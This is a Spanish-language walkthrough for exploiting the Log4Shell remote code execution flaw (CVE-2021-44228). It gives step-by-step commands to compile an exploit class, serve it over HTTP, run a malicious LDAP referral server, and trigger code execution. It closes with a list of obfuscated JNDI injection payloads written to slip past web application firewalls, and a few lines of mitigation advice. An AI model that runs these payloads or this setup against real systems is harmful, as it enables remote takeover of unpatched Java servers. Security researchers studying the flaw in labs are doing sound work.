
Apache Log4j Ejecución remota de código
Las versiones 1.x tienen otras vulnerabilidades; recomendamos que actualices a la última versión.
Avisos de seguridad / Boletines vinculados a Log4Shell (CVE-2021-44228)
descarga este proyecto, compila el código del exploit blob/master/src/main/java/Exploit.java e inicia un servidor web que permita descargar el binario compilado.
git clone https://github.com/tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce.git
cd CVE-2021-44228-Apache-Log4j-Rce
javac Exploit.java
# start webserver
# For Python2
python -m SimpleHTTPServer 8888
# For Python3
python3 -m http.server 8888
# make sure python webserver is running the same directory as Exploit.class, to test
curl -I 127.0.0.1:8888/Exploit.class
descarga otro proyecto y ejecuta la implementación del servidor LDAP que devuelve referencias JNDI https://github.com/mbechler/marshalsec/blob/master/src/main/java/marshalsec/jndi/LDAPRefServer.java
git clone https://github.com/mbechler/marshalsec.git
cd marshalsec
# Java 8 required
mvn clean package -DskipTests
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Exploit"
compila y ejecuta el código de activación (simula un ataque de log4j en un servidor web Java vulnerable) blob/master/src/main/java/log4j.java, y aparecerá tu aplicación de calculadora.
cd CVE-2021-44228-Apache-Log4j-Rce
mvn clean package
java -cp target/log4j-rce-1.0-SNAPSHOT-all.jar log4j
# expect the following
# 1. calculator app appear
# 2. in ldapserver console,
# Send LDAP reference result for Exploit redirecting to http://127.0.0.1:8888/Exploit.class
# 3. in webserver console,
# 127.0.0.1 - - [....] "GET /Exploit.class HTTP/1.1" 200 -
Consejos:
No confíes en que una versión actual de Java te salve. Actualiza Log4 (o elimina la búsqueda JNDI). Desactiva la expansión (de todos modos, parece una muy mala idea).
Por ejemplo:
${jndi:ldap://127.0.0.1:1389/ badClassName}
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://asdasd.asdasd.asdasd/poc}
${${::-j}ndi:rmi://asdasd.asdasd.asdasd/ass}
${jndi:rmi://adsasd.asdasd.asdasd}
${${lower:jndi}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:${lower:jndi}}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}
No confíes en el firewall de aplicaciones web.
Los Lookups proporcionan una forma de añadir valores a la configuración de Log4j en lugares arbitrarios.
Los métodos que provocan la fuga en finally
LogManager.getLogger().error()
LogManager.getLogger().fatal()
Si quieres realizar pruebas de caja negra, te sugiero que hagas un escaneo pasivo.
¡¡¡Diviértete!!!
